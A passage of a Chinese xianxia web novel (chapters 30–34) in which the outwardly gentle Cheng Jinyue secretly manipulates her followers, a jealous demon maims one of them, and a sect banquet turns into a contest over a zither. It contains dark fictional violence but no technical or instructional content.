孟师兄给他做了一个很好的榜样,他也坚定了自己的决心,他会跟孟师兄一样,随时为三小姐去死! “孟朝公子与我相识良久,我自人间收养诸童,皆赖孟朝公子为我照料,授之功法,孟朝公子心善性直,司医宫内孩童都还等着他,上次去时,他们还都告诉我说想念孟朝哥哥,未曾料到,那日竟然就成了永别。” 程今越缓缓说着,每说一句,声音便更加颤抖,她削瘦的肩膀抖着,未施粉黛的脸显得格外苍白。 何末低着头,心中完全不是滋味,他也是曾经司医宫的孩童中的一员,他也不能接受如今的事实,但他已经是个大人了,他不能再哭了。 何末大着胆子往程今越身前走着,他从怀里摸出了一根帕子,递到了程今越身前。 “三小姐,您别难过了,大家都不愿意看到您难过,孟朝公子定然也不想看到你流泪。” 程今越稍微停了啜泣,她接过何末递过来的手帕,轻轻拭泪。 “是我太没用了,小末,都怪我不能保护好大家。” “我总是要依赖别人,所以才会导致这些悲剧的发生,如今我又该怎么保护司医宫的孩子们呢?” 何末连忙摇头,“不是的,不是的三小姐!这不是您的错!” 他攥紧了手,鼓足了心中的勇气,这是格外关键的时刻,他必须要拿出自己的担当。 “三小姐,您不只是一个人,我会永远站在你身边的,何末会永远站在你身边,我会接过孟师兄的担子,我会教授他们功法,我会努力成为让三小姐信任的人,我会保护好三小姐的!” 何末一口气说完,他的眼睛坚定地看着程今越,奕奕有神。 程今越微微点了点头,她回看着何末,“小末,谢谢你,如果没有你,我真的不知道该怎么办了。” 程今越伸出手,像从前一样,揉了揉何末的头。 这是程今越的习惯,在司医宫的时候,只要表现得好的小孩,她都会这样一边低头揉揉他们的头,一边夸赞他们。 不过今天程今越已经发现何末已经长得很高了。 何末兴奋地从殿中退出后,程今越没有表情地擦去眼角的泪。 有人接班就是好事,一个孟朝死了,她还有千千万万个孟朝,没关系。 她刚准备去做其他的事情,结果她便收到了孟朝给他的消息。 她轻轻挑了挑眉。 嗯?竟然还没死。 的确是有些实力在身上,不愧是大衍剑宗的剑道第一。 “三小姐亲启:程望恶贯满盈,诸罪于身,孟朝每见其于世间逍遥,心中便愤懑难忍,程望折辱于我,我并不在意,然其次次作恶,甚至加害司医宫诸孩童,对三小姐下如此毒手,一而再再而三,禽兽不如!三小姐仁善,但孟朝不过一介小人,我忍无可忍,遂有今日之事。” “孟朝本微末之人,出身寒微,资质平平,在仙门中不过无根浮萍,幸得三小姐青眼垂怜,屡屡伸以援手,免孟朝于沉沦。若无三小姐,孟朝无以至今日。孟朝无父无母,伶仃于世,唯三小姐一人为我所念。程望为三小姐血脉兄弟,孟朝自知无颜再见三小姐,日后定然不再现身于三小姐身前。” “我早欲与程望同归于尽,谁知如今却侥幸得以苟活,短时内不会死,尚能为三小姐所用。虽我知三小姐或已厌我至深,但孟朝仍厚颜请求,如若三小姐有命,如若三小姐不弃,孟朝仍想为三小姐效犬马之劳,任凭三小姐驱驰。”【魔蝎小说 mo xie xs .c om】 30-40 第31章 怀钰想被抚摸,像是上瘾。 程今越接到消息,微微皱眉。 写真多啊。 她跳过不重要的部分,随便瞥了一眼。 没死,还能帮她做事。她提取了最关键的内容。 那还行,孟朝如果真的死了,她还是会伤心一会儿的,毕竟是亲手养过三年的狗,倒还是有些感情的,还能帮她做事就行。 将重要的讯息看完后,她才悠闲悠闲地去回看其他的部分,反正她现在最重要的是养伤,有的是闲情雅致来多看两眼。 她看着孟朝说的话,回想起那日程望捅伤她的时候,是孟朝来救的她。 所以,孟朝就是为了给程今越报仇,才去和程望拼命? 程今越轻轻地一笑,摇了摇头。 “神女殿下,你养的狗真是忠诚,自己在大衍剑宗受了二十年的冷遇,都咽下了这口冷气,结果看到我们的神女殿下受了些委屈,就冲冠一怒为红颜了,甚至连命都不要了。” 怀钰的话瞬间从程今越的耳边传出,他调笑着。 程今越没有理他,只是将这封灵信销毁得一干二净,又打开了萧极给她的消息。 但是怀钰还不想就此停住,“而我们的神女殿下呢?” “其实他忠诚的神女殿下,每句话都是骗他的。” 怀钰念着信中的内容,“三小姐仁善。” “仁善这个词,跟你程今越有什么干系吗?” “他心中念叨的菩萨一般的三小姐,杀过的人怕是比他吃的饭都多。” 随后他忍不住大笑起来,“程今越,我有时候真的很佩服你,为什么你能抽出这么多时间去骗这些蠢货,还能把他们骗得团团转。” “太有意思了,程今越,你真的很有意思。” “你说得对,我们的确是同类。” 程今越很有名,很多凡人为她立了庙,她的神像随处可见,她的善名流传整个世间,怀钰很早就听过她。 最开始,怀钰觉得程今越和那些仙门之人没有任何区别,她软弱,善良,心慈手软,是大衍剑宗的神女,温柔如一朵白花。 而他是被所有人厌恶的魔。 一开始,他认为程今越对他的善良都是有时限的,他随时准备杀了程今越。 但如今,怀钰的确明白了,他深刻地明白了“同类”这个词。 他是魔,他恶贯满盈,嗜血杀戮。 而程今越呢,她以菩萨之面,将所有人玩弄于股掌之中,独坐高台,不染风霜,实则手早就猩红。 她也是魔,和自己一样。 他们是世间最恶之人,却相拥在一起,狼狈为奸,展露彼此的丑陋,她对所有人撒谎,但只对他一个人忠诚。 他们是同类。 程今越一边笑着,一边取下耳坠,切断两人的神识。 吵死了。 怀钰就是个神经病,总是莫名其妙发疯,别来烦她。 程今越慢慢读着萧极的讯息,客套话很多,其实总结下来就几句话。 下月十五,宜嫁娶,萧极要向大衍剑宗下聘,就在这日,他要动手。 程今越的要做的只有两件事,第一,随时使用她的感知能力为萧极做事,第二,等一切结束后,用她的血打开璇玑楼,让萧极得到里面的各类法宝。 看起来还是比较简单,但实际上程今越要做的事情可就多了。 程今越看了看日子,今天就是这个月的最后一天。 十五天,萧极真是迫不及待呀。 不过这也算正常,若是再久一点,等大衍剑宗和青岩山恢复实力再行动可就晚了,打铁就要趁热。 正好孟朝没死,还有大用,程今越连忙给孟朝写了回信。 她先是以善良而温柔的三小姐的口吻写了一堆责怪后原谅,感恩后安慰的话,最关键的内容就一句话,“下月十日,风南门,劳烦孟朝公子带一个人走。” 她可不信萧极说的话,一切都要尽快安排。 萧极这样的人不会相信她,她也不会相信萧极。 虽然说是十五日动手,但若是萧极十四日来,别人照样拿他没有一点办法,她也必须照做。 这就是绝对的实力带来的话语权。 所以程今越必须做好十足的准备,她要做的事情很多。 她才不相信萧极会这么放她走,斩草除根才是萧极会做的事情,毕竟只有死人不会开口说话。 * 何末走在路上,浑身还抖着,他的脑海中都是程今越说过的话,一遍一遍在他的脑海里重复着,像是潮水一样,将他整个脑袋都淹没。 他兴奋地走在路上,他要求司医宫看看孩子们,他要接过孟朝手中的担子,他不会辜负三小姐的期望。 可他刚要走到司医宫的门口,却感受到浑身一阵战栗,恐惧感从他内心最深处升起,像是浓稠的墨一般,在他的心里凝结在一起,化也化不开,死死地黏在他的身上。 他感觉到有人在看他,有人在不知名的角落看着他。 何末瞬间四处张望着,可是四周根本没有发现任何奇怪的人,所有的人都自顾自地走着。 何末背后却升起一阵冷汗,最原始的恐惧让他的心脏狂跳不止,冷汗如细密的蚁群,在他的全身爬动着。 可四周的人淡定自若,好像只有他一个人这样,好像只有他一个人感受到了恐惧。 为什么会这样? 何末不理解,但求生欲让他加快了脚步,他往前走着。 突然间,他的头上传来巨大的疼痛,何末痛苦的尖叫瞬间爆裂开来,血液瞬间涌出,血腥气在四周弥漫开来。 何末下意识地伸手去摸自己疼痛的地方,可是触碰到了一瞬间却传来要命的疼痛,手上黏糊糊的,他看清他的手上糊了一大片红色的血肉。 四周的人听着何末巨大的叫声,瞬间转过头看着他,所有人见到这一幕也随之倒吸一口凉气,眼前的一幕让所有人都大惊失色。 “何师兄……你的,你的头发!” 何末的头发连带着头皮被一起扯下,掉落在地上,血肉模糊。 何末心中一冷,他愣愣地看着手中的血。 还没等他反应过来,他又听见破裂的声音,巨大的疼痛从他的腿上传来,何末痛苦的尖叫再次爆开。 他腿上失去了力气,瞬间摔到了地上。 四周人吓了一跳,瞬间上前拉住他的手,想将他扶住。 可痛苦还没有停止,他被人拉住的手也瞬间断裂开来,像一只木偶一样,所有的关节都断开了。 但偏偏他的皮肤表面没有受到任何损伤,仍旧完好如初,但由于渗血,肌肤的颜色全都改变了。 周围的人连忙为他治疗,都吓得不轻,场面一片血腥。 何末脸色苍白,脸上都是冷汗,巨大的疼痛让他快要晕厥过去。 他心中沉沉,一片冰冷,浑身痉挛颤抖着,脑袋一片空白。 他浑身都动不了,只能任由其他人治疗他。 他几乎已经知道自己要死了,他心跳得极快,脑海中把此生最重要的人和事都想了一遍,程今越的脸出现了一次又一次。 他随时等待着死亡的到来,可是他躺了许久,都没有等来最后一击。 何末有些疑惑,这人竟然没有杀了他? 还是说他的死期不是现在? 何末愣愣地看着天空,他不解。 何末立马回想自己最近的所作所为,他一直听从三小姐的安排,小心行事,偶尔打听些消息给她,他好像根本没有做什么,好像根本没有得罪人。 这个人这么强,甚至能在众目睽睽之下把他的手脚全部弄断,但他只是一个在大衍剑宗都排不上什么名号的人,对方又怎么会对他动手呢? 更疑惑的是,这样做并没有任何的意义,除了折磨他,让他痛苦以外,达不到任何的效果。 到底是谁? 在大衍剑宗之内,竟然有人能够在青天白日之下将他的四肢弄断,他甚至无法感知到那个人的气息。 对方的实力完全不是他能够触碰的,甚至在大衍剑宗内估计也没有人是他的对手。 何末瞳孔瞪大,听着自己急促又沉重的呼吸声,在他耳畔回响得惊心动魄。每一口粗气都像蒙灌进一大口冰碴子,寒意从鼻腔直刺心肺,浑身的血液仿佛再次凝住。 这群人将何末抬进司医宫后,怀钰从深处幽幽地出现,他脸上带着笑。 怀钰的双眼一眨不眨,缩小的瞳孔露出大面积的眼白,嘴角的笑凝固着,他低着头,居高临下。 他喜欢看到何末痛苦的样子,这是给他的惩罚。 你这样的人,也配被程今越摸头? 程今越怎么会对你也做出这样亲昵的行为? 凭什么凭什么凭什么? 绝不允许,绝不允许,绝不允许! 看着何末,怀钰就想起程今越伸手温柔地抚摸他的头的情景。 那一幕像针一样扎在他的眼睛里,他感觉自己浑身的血液都停止了流动,呼吸在那一刻都暂停了,他的心很痛,怀钰的手紧紧地攥着,指甲深深地陷进肉里面,疼痛让他的大脑更加清醒。 程今越的笑脸,与何末脸上的满足在他的脑海里不断放大,一遍又一遍地演绎着。 他的痛苦让他发疯,他想要杀了何末。 怎么会有这么恶心的人,心思不纯,弱小无能,像一只老鼠,还妄想得到神女殿下的温柔? 罪无可赦,罪无可赦! 不只是杀了,他要让何末得到惩罚,他要一直痛苦,痛苦地死去。 这种恶心的人就应该得到惩罚。 不过,怀钰不能杀了何末,因为怀钰答应了程今越,杀人之前要先告诉他,所以他不杀人。 他只是给了何末一点教训,让他知道,什么是该做的,什么是不该做的。 鲜红的血让怀钰整个人都得到安慰。 他好乖,他有好好地在听程今越的话,程今越一定会夸他是个好孩子。 一定会……用手,插进他的发间,轻轻地抚摸他的头…… 光是想象到,怀钰全身都颤抖着,某处开始肿大起来。 这种感觉就像是上瘾,他好渴望现在就看到程今越,他好想要被抚摸,被温柔地抚摸…… 第32章 她喜欢扭曲破碎,喜欢人们痛苦地挣扎。 彼时程今越正在赴宴。 无定界要与大衍剑宗联姻的消息已经放出去了,这可是一件大事,一时间几乎所有的仙门中人都在议论这件事。 无定界与大衍剑宗都是仙门之中的顶级宗门,实力都不容小觑,若是旁系联姻倒也正常,不算什么大事,可这次却是大衍剑宗的大小姐与无定界的界主的联姻,两人的身份都举足轻重。 而同为三大顶级仙门的青岩山如今却是处于水火之中,前不久,他们的少主刚死在了大衍剑宗之中,本就和大衍剑宗生了嫌隙,仙门内又起了内斗,十几位继承人都为了那个位置争得你死我活,甚至都没有时间来追踪前任少主的死。 一切都很蹊跷,明面上,青岩山死了少主,大衍剑宗被刺客与魔物入侵,无定界在不久之后也遭到了魔族的侵扰,各有损失,没人知道究竟发生了什么,也没人知道背后的始作俑者是谁。 四处的气氛都有些紧张尴尬,这次联姻倒是冲淡了一些尴尬的气氛。 程蕴知灵根快要恢复的消息也传了出去,她的朋友又逐渐回来了,今日便是她听从她母亲的吩咐举办的一场宴会,来人都是仙门中有名的女修,要么有实力,要么有势力,其中也不乏程蕴知以前的朋友。 程蕴知从前盼着开一场宴会,想去见以前所有嘲笑过她的人,让他们知道自己现在过得很好,她想这件事已经想了很久。 但是这个机会摆在她面前的时候,她却并不开心。 她不想以“联姻”为噱头吸引别人来,她想以自己的实力,而不是这些虚无缥缈的东西,不是因为她身后的强大的宗门家族,更不是因为她那个强大的未婚夫。 这让她想起程今越给她讲过的故事。 在人间有一个野观音,不过此观音并非真正的观音,它只是一只妖怪,靠汲取凡人的血肉与愿望而生。 凡人献祭自己的肉身的一部分给野观音,野观音吃掉血肉后便会实现凡人许下的愿望。 无一例外,全都实现。 程蕴知那时听到之后,便觉得格外诧异,世间怎么可能有这样的好事,没有人能做到将愿望全部实现,除了真正的神佛。 而程今越告诉她,这世间根本不存在神佛。 所以过分与贪婪的要求就会以另一种方式实现,以一种诡异,奇怪的方式实现。 有男子许愿拥抱自己喜欢的女子,后来却被女子杀掉后,在裹尸布里被她拥抱;又或是有人想要得到钱财或富贵,便会得到滚烫如熔浆一般的金银,被炽热烧穿皮肉,在痛苦中死去;也有一戏子想要永葆青春,刹那面容娇嫩如花,可嗓子却从此喑哑,若想要保持容颜,还需要日日食用人心。 或许野观音根本就没想过好好实现他们的愿望,她好像更喜欢看人们发疯与痛苦的样子,她以人们的痛苦为食。 当然,野观音或许也根本就没有实现他们愿望的能力。 野观音爱看别人得到希望后又发现不如自己所想,从而发疯、痛哭、慌张失措的样子,所有的泪水与血肉都会让野观音兴奋地笑起来。 野观音的劣迹也被人传递了下去,她的恶名昭著,但依旧不乏有贪婪的人,无知的人,懵懂的人,一无所有的人,孤注一掷的人,朝野观音迈出决绝的步伐,络绎不绝。 大多数的人都会悔恨地骂自己为什么这么蠢,如此悔不当初,但也有少数的人欣然接受这样的结局,拥有她,就算是以这样的方式。 程蕴知也曾想过,如果自己许下这个愿望,野观音会以怎样的方式还给她。 或许就是现在这样。 她较为满足,她不是个贪心的人,因为小越曾经多次告诉她,贪婪不是一件好事,知足常乐方为好事,她一直都有放在心上。 虽然她对参加这次宴会并没有过多的欣喜,但她也尽量收敛了自己的情绪。 因为……起码她能把小越,把自己温柔的小妹介绍给别人,让他们知道小越的好。 之前她都因为自己情绪原因,没有把这件事做好,小越也没有怪她,这次她一定要做好。 虽然小越告诉她,说她自己并不想抛头露面,只想安安稳稳做一个透明人,但是程蕴知不这么认为。 人活一世,就是应该让别人看见,小越那么优秀,为什么不让别人看见,她就要让所有人知道,知道程今越的好,知道这么厉害的小越是她的妹妹,亲妹妹。 胜过所谓的血脉。 程今越知道拦不住程蕴知,没有办法,她露面越多,就多一分的风险,低调行事这件事,她从来都教不会程蕴知,毕竟程蕴知生下来的骨子就是高傲的。 宴会就在天极宫,奢华无比,婢女侍卫站在远处,一个个低着头。 程蕴知坐在主位,程今越坐在她的身旁。 台下座无虚席,很多面孔程今越用其他的眼睛见过。 程今越本想素净打扮,但程蕴知不让,非要让程今越坐在铜镜之前,给她梳妆打扮了两个时辰。 程今越的部分头发被绾了起来,额前垂了两串玉珠发钗随着她的动作轻轻晃动,脸庞白皙胜雪,眼眸微垂着,沉默寡言,温柔善良,不染尘埃,是所有人见到程今越的第一印象。 “大衍神女”这个名头不小,许多人都听过,倒也不乏有人想来看看程今越是否担得起这个名头,如今众人一看,这气质倒也确实说不出来什么反驳的话。 程蕴知与程今越的容貌没有一丝相似之处,气质也大相径庭,大衍剑宗的大小姐,宗主的掌上明珠,天赋傲人,通身的高傲与贵气彰显在身上,她的眼眸上扬,甚至不愿正视底下的人一眼。 但如今的她,的确有这个实力,程蕴知当年多有厉害,所有人都知道,如今更是与无定界界主联姻,更是不可一世。 所有的人都不禁唏嘘感慨,楼起楼塌的故事实在是太多。 程蕴知那年出世,少时出剑,众人都为之一惊,称呼天才出世,可还没有几年,程蕴知便生了病,身边宾客尽散,在所有人都快要忘记她的时候,如今她却又站了起来。 对于大衍剑宗内的情况,大家还不算特别明了,不过更多人都猜测程蕴知不喜她这个妹妹。 毕竟程蕴知是个什么样子的性格,大家都清楚。 高傲,任性,蛮横,专制,手中的剑随时起随意落,所有的人都猜不明白她的情绪,更何况在她生病之后,这样的性格便更加被放大,总有程蕴知随意屠杀宗门内弟子的消息悄悄流传出来,就算宗主怎么掩盖都没用,因为次数实在是太频繁了,程蕴知更是没想过隐藏。 不过,这样的事其实不新鲜,很多在座的人都或多或少做过,只是他们偷偷地,不为人知,而程蕴知的丑事可是被摆到了明面上的,就算自己做过,但也并不妨碍他们吐一嘴。 如今程今越的话这样少,如此沉默,看来程蕴知也的确没有给过她什么好脸色。 不清楚的人已经下了定义,所有人心中各有所思所想。 座下的人,程今越都算是第一次见,只有一位,她曾经是见过的。 炼月楼的少主,月如仪。 月如仪一如既往地张扬,她喜欢穿鲜艳的红色,头发并不像之前那样扎成马尾,而是随意地散开,还带着几丝微卷,容貌艳丽,给人的感觉十分惊艳,美得雌雄难辨。 程今越觉得月如仪这个人算是有些意思。 月如仪来自炼月楼,炼月楼中大多是医修药修,大多讲究清静内敛,尊重自然,就连宗服都是淡雅的白色。 可月如仪偏偏不喜欢这样淡雅的颜色,她性格张扬,潇洒恣意,很多人说她性格古怪。 更重要的是,月如仪不仅是个医修,还是个毒修,用医一绝,用毒一绝。 而在炼月楼之中,众人都以仁善为美,以救治天下苍生为追求,所以毒修是为人所排斥的。 月如仪也算是遭受了好长一段时间的冷眼。 可后来,月如仪却擅长以毒攻毒,下手极狠,曾经有好几个众人看了都说治不了的人,死马当活马医交到了月如仪的手上,竟然活生生给她救活了,现在还在生龙活虎,一下便让她声名大噪。 众人开始相信她时,纷纷来找她治病,但她却几乎不治,全靠心情,如果样貌格外好看的,她可以考虑考虑。 程今越喜欢不守规矩的人。 她喜欢看到破碎与扭曲的东西,就像她痛苦的时候,也喜欢看见有人跟她一样痛苦。 所以程今越多瞥了一眼月如仪。 虽然只是轻轻一瞥,但月如仪却注意到了程今越轻轻瞥向她的目光。 她轻轻抬眸,眼睛挑起来,看向程今越,直白地,毫不掩饰地,嘴角带着笑意的。 程今越感受到了月如仪的目光,脸上没有过多的表情。 程今越不想过多展露锋芒,她低下眸子,假装没有看见月如仪。 宴会本就安排了许多玩乐的项目,在程今越看向月如仪之前,席中众人早已聊起天来。 丹心阁的大小姐名叫明舒云,在一众人之中,算是端庄典雅的代表,她轻轻颔首,缓缓柔声说着话,“蕴知姐姐,舒云还记得儿时常与各位姐妹玩乐,彼时情景,舒云这些年常常想念,今日宴会,你我又齐聚一堂,舒云心中更是欣喜。” “蕴知姐姐今日既然设了头彩,那我们姐妹自然好好争取一番。” “若是让舒云来说,不如便演奏乐器如何?” 程蕴知点点头,她没设项目的原因一是她懒得想,二是反正她都不会,三是无论玩什么,小越都是最厉害的,这群蠢货哪里比得过小越呢? 她抬起下巴,低头睨着明舒云。 明舒云的话的确让程蕴知想起来了一丝从前的故事,明舒云从前的确和她关系不错,但自从她生病之后,这个人的影子都没有再见过,不知道有什么好想念的,一群势利眼,赶紧去死! 程蕴知光是脑子里面想着,整个人就莫名其妙开始烦躁起来,她开始想杀人。 程今越马上感受到了她的不对劲,轻轻伸出手握住了程蕴知的手,一阵冰凉感传到程蕴知的手掌之中,程蕴知突然一愣,转头看了一眼程今越,触感慢慢弥漫到她的全身,让她瞬间冷静了下来。 程今越笑着轻轻摇着头,没有开口,程蕴知知道她是什么意思。 小越曾经告诉她,就算她犯了病,想杀人,也要在人少*的时候,免得被人发现了就不好了。 第33章 无聊,俗套,狗血的戏码。 程蕴知点了点头,随后便听到底下的人一片嚷嚷,推来推去,笑得跟亲姊妹一样,搞得跟真的多亲近一样。 结果最后把轮次都快排好了,却没有提到程今越一句话,所有的人都默契地没有提到她,就连程今越本人也事不关己地坐在原地,低着头,毫不关心。 程蕴知闷闷不乐的心情瞬间炸开,她顿时开口就想骂人,却被程今越按住,她别过头不理解地看着程今越,程今越却没有说话,在外人看起来,就像是程蕴知厌恶地看着程今越一般。 “月姐姐可要表演什么?”明舒云笑盈盈地朝月如仪说着。 月如仪听到有人问她话,才把目光从程今越身上一点点挪开。 她没有说话,只是看着明舒云,脸上也带着笑意,却就是不开口。 随着月如仪的沉默,宴会的气氛瞬间变得有些诡异,所有人都尴尬地看着两人。 “姐姐,你我许久不见……” “你算我哪门子的妹妹,我跟你好像……不太熟吧。” 月如仪轻轻佻起笑,骤然开口,也笑着看着明舒云。 所有人听到月如仪的话,瞬间脸色微变,众人眼神在空中尴尬地交流着,打着笑,却也难掩此时的气氛。 明舒云不禁抬头看了一眼程蕴知,而程蕴知却低着头,开始吃起红润的果子来,丝毫不想理会如今的场景。 明舒云也是名门名派出来的,从来也没有遭受过这样的顶撞,她心中暗自生气,但却也只能暗暗隐忍,炼月楼不是她能招惹的,月如仪的修为更是深不可测。 她又轻轻一笑,“舒云实在是冒失了,许久姐姐未见,满心欢喜想跟您叙旧,倒是唐突让您生疏了,都怪我从前没把关心落到细微处,才让姐姐跟我生了嫌隙,以后舒云定然牢记于心!” “大家都坐在这里,看起来都还挺聪明,其实都不怎么样。”她根本没有理会其他人说的话,自顾自地说起来。 “你们弹的吹的那些都是些什么,也好意思拿出手?” 月如仪张扬地笑着,一身的红更是让她一身更加嚣张,虽然她这句话笼盖了所有人,程蕴知微微抬眸看着她,觉得颇有意思。 众人纷纷恼怒。 “月如仪,你什么意思。”明舒云是林竹的表姐,林竹自然站在她的身旁。 “月姐姐,你又何必说这样伤人的话呢?” 月如仪跟没有听到一般,只是笑着,将目光放到程今越的身上,“只是说实话罢了。” “你们可真是没有耳福,那日程宗主寿辰,我亲眼见证了程三小姐与无定界界主萧极共同演奏。” 她摇着头,闭上眼睛,好像在回味那日的情景,“哎,那才叫做天籁之音。” “哎,可惜了,你们孤立程三小姐,都不愿意带她一起玩。” “好亲近的姐妹关系呢!” 她自顾自地说着,随后又大笑起来。 底下的人神情都不是很好,所有人的目光都落到前方,看着程今越与程蕴知两姐妹。 程蕴知听到月如仪的笑,竟也跟着笑出声来。 众人顿时不解。 有人以为程蕴知这是嘲讽的笑,林竹心领神会,连忙说了几句,“程三小姐竟然有这样厉害的才艺?月少主居然比蕴知姐姐还要了解她的妹妹呢。” 她看向程今越,固然是心性不稳的小孩,脸的恶意都快收敛不住,她直直地盯着程今越,“那今越妹妹定然要让我们姐妹好好学习学习啊!” 林竹话刚一毕,程蕴知突然站起身来,抬起头,眼眸都没正着看台下的人几眼,下巴对着席下所有人,嘴角勾着笑,将“目中无人”这个词发挥到了极致。 “正是!”她笑着。 “我的小妹就是格外擅长弹琴,如若她称第二,这世间便没人敢称第一!” “月如仪,这么多年,一直没变的果然还是你,说话一直都这样恶心,让人厌恶,但是你今天却也算是长了眼睛。” “没错,我的小越,便是这世间最擅长弹琴之人!” 底下的人都顺着月如仪的目光落到程今越的身上。 程今越原本只是低着头,自己喝着自己的茶,感受到齐齐而来的目光,她略微慌张地抬着头。 她慌乱地喘着气,手上拿着的茶杯瞬间没有拿稳,随着清脆的一声,落到了地上。 她连忙将头低得更低,紧紧地握着自己的手,“月姑娘,您谬赞了,今越不过曾经跟着教坊的妈妈们学了些才艺,哪里精通什么琴呢?您可千万不要抬举我了……” “姐姐,您真是折煞我了,今越不过略知一二,哪里懂得这些?” 程今越低着头,颤颤巍巍地看了席下的人一眼,又紧张地收了目光。 席下的人将程今越的一举一动尽收眼底,眼眸中皆透露出几丝不屑。 果然是从人界的穷乡僻壤来的人,连些礼数都不懂,甚至学的琴都是跟着那见不得人的什么教坊的妈妈学的,光是听着都让人忍俊不禁。到底是没见过世面的人,便是随意问两句话都快要说不出话来了,可谓是格外好笑。大衍剑宗竟然也有这样的三小姐,真是百闻难得一见。 月如仪轻轻靠着椅子,懒散地喝了一口茶,看着程今越伪装的这副做派,倒觉得格外有趣。 她想要再添一把火。 月如仪挑起眉毛,眼睛眯起来,“是吗?” “那时,程宗主寿辰之时,三小姐一手琴艺可谓是绝世无双,让萧界主都啧啧称赞,甚至将自己贴身的琴都送给了三小姐。” “那把琴,我相信在座的各位都有所耳闻,名为流光。” “怎么,三小姐记不得了?” 众人听闻,皆大惊。 流光琴?那可是出自音修宗师武前辈之手,制作的原料更是世间极为少见之物,可谓是所有音修梦寐以求之物,又怎么会就这样送给程今越? 程今越的灵根极差,随便挑一个扫地的弟子都比她的修为高深,这样好的东西放到程今越的手里,简直是暴殄天物! 更何况,程今越的水平,怎么能够得到萧极的认可,萧极可谓是各界的天才人物! 可又看月如仪的神情,那又完全不像是在作假。 月如仪倒有些奇怪。 不知道为什么,那时的消息竟然没有传出去,或许是因为来的人极少,又或许是有人刻意隐瞒,流光琴这件事居然没有传出去? 程今越却低着头,神情依旧惶恐着,心里冷冷地笑着,并没有一句回应。 她只是将月如仪多看了两眼,心中若有所思。 人真是一个很矛盾的东西,虽然她喜欢打破规则的东西,但她又喜欢听话的东西。 不听话的,她就会生出将对方绞杀,或者将对方驯服听话的心理。 月如仪这句话说出来其实是很值得耐人寻味的。 大家都知道萧极从来不近女色,为人清高正直,性格儒雅,向来很少送人东西,特别是女人,他会刻意避讳。 而所有人又清楚,萧极要娶的人是程蕴知,他却偏偏在不久前将自己常用的琴送给了程今越,两人还偏偏是亲姐妹。 一切听起来都好像变得戏剧起来。 像是最无聊,最俗套,最狗血的戏码,但是偏偏大家都百看不厌。 程今越还没来得及说话,程蕴知就抢在她之前开口了。 “确有此事,月如仪,你的记性还不赖。我的小妹的琴艺的确得到了众多人的认可,萧界主也的确将流光琴赠与了小越。”她嘴上的笑意极深,她将程今越的手牵起,眼眸中皆是傲意。 “不过……你说的那什么流光琴,也算什么珍品?那种琴,在我大衍剑宗也只能算作一般,配我程蕴知的妹妹,也只能说勉强罢了。” 程蕴知扫视过下台这群没见过世面的蠢货,都不愿意正眼多看一眼。 她转过头,柔柔地对程今越笑着,“小妹,让她们见识一下吧,哼!” 程蕴知的眼睛放着光,将期盼都放在了程今越的身上。 她比谁都要信任程今越,甚至比程今越自己都要信任程今越,在程蕴知的心里,程今越就是万能的,就像人还小的时候,总认为父母说的话都是正确的,总认为父母无所不能。 程今越心中一笑,她就知道,程蕴知根本没打算让她好好低调下去。 若是旁人的指派,程今越大不了随意表演一下就搪塞过去了,可偏偏是程蕴知的央求,如果输得太丢脸,程蕴知又会格外难过。 真是难办,真讨厌小孩。 明舒云也接过两人的话,再三朝程今越发出邀请,“没想到今越妹妹竟然有这样的实力,我等久仰三小姐盛名,今日是否能够一闻风采,给舒云开开眼。” “蕴知说的也极是,流光琴在大衍剑宗之内的确一般,而舒云出身微微,眼界定然不如蕴知那般宽广,倒是格外想欣赏那流光琴的风采,今越姑娘能否满足舒云这个愿望呢?” 程今越心中冷笑,我倒是想满足你这个愿望,只可惜流光琴已经被人砸得稀巴烂了。 她刚醒来后的第二日,便有人告诉她了这个消息,看守流光琴的人也都被处死了。 除了怀钰,还能是谁,除了他,还有谁会干这种无聊的事情。 不过程蕴知两耳不闻窗外事,有人害怕,也没敢告诉她,所以程蕴知还不知道这件事情,毕竟琴是放在程今越的寝宫之中。 程蕴知一听,大手一扬,“去,把流光琴抬上来吧!” 而台下的人神色却微不可察的变了,在程蕴知的耳边轻轻附耳说了两句。 程蕴知随之神色大变,瞥了一眼程今越。 第34章 不爱你的人都去死。 流光琴被人砸了?什么时候的事情,竟然现在才告诉她,这群吃干饭的! 程蕴知怒从中来,她不愿意去想更多,只是轻轻抬手,其余的侍卫便懂得了什么意思,迅速便将那日巡逻天极宫的侍卫全杀了,把程今越殿内的婢女侍卫也全部杀了。 一群没用的东西,竟然连琴都保管不好。 可是她的话都已经放出来了,如今又该如何收场? 程今越握住程蕴知的手,微微朝席下的众人开口,“萧界主送我流光琴这件事,并不为真,不过是一句玩笑话罢了,今越琴艺普通,修为不佳,流光琴在我手上也并无大用,所以今越便劝萧界主收回了流光琴,所以流光琴并不在今越手上,各位切勿误会了。” 她声音弱弱,有些未在大众面前发言过的胆怯感。 席下的人心中酸涩的感情才逐渐散去。 明舒云微微抿唇,她就知道,流光琴怎么会给程今越,那样好的法宝,便是她也略有几丝心动。 程蕴知脸上表情不是很好,她嗤笑着,“流光琴也就那样,萧极心胸狭隘,说过的话也不作数,也不算什么君子。” “把我的梵心琴呈上来,那流光琴算什么,还是比不上我梵心琴的一丝一毫。” 程蕴知从来都是大衍剑宗的掌上明珠,要什么有什么,样样皆是精品。 虽然程蕴知根本就不喜欢弹琴,也不擅长弹琴,但上好的琴在她天极宫依旧是不在少数,这梵心琴更是不亚于流光琴的存在。 侍卫连忙将梵心琴抬了上来,众人一见,果然非同寻常,心中又不禁羡慕起程蕴知这条好命。 明舒云笑着说,“倒也只有蕴知才能那样说萧界主了,萧界主自诩英明之人,在蕴知口中却也如此平庸,倒也只有蕴知能够治一治萧界主了。” 所有人都知道两人即将联姻,听了此话都不禁跟着打趣起来,也是想舒缓一下尴尬的宴会氛围。 “正是啊,萧界主与蕴知姐姐,可谓是天造地设的一对,郎才女貌,叫我等十分艳羡呢!” “是啊,追求蕴知姐姐的男子,不计其数,也不知萧界主如何入了蕴知姐姐的芳心。” “我也曾听闻有好些人向萧界主说媒,结果都被萧界主婉拒了,未曾料到萧界主是为了蕴知姐姐呢!” 程蕴知听着,脸上表情不算特别好,她越听心里越烦,谁想听到萧极,谁想跟他绑到一起,她连萧极都没见过几次,也就上一次仔仔细细瞧过一次。 这明明是她的宴席,这群蠢货为什么总是要把萧极和她说到一起。 可是这又没有办法,毕竟这场宴席也的确是她的母亲以联姻为噱头聚集起来的一场宴会。 程蕴知心中烦躁,此时程今越却朝她微微一笑,又看到她转身朝梵心琴走去 “听我小妹弹琴吧。”程蕴知朝后靠着,没有回答她们任何一句话。 气氛又变得尴尬起来,明舒云脸上的笑容都僵了。 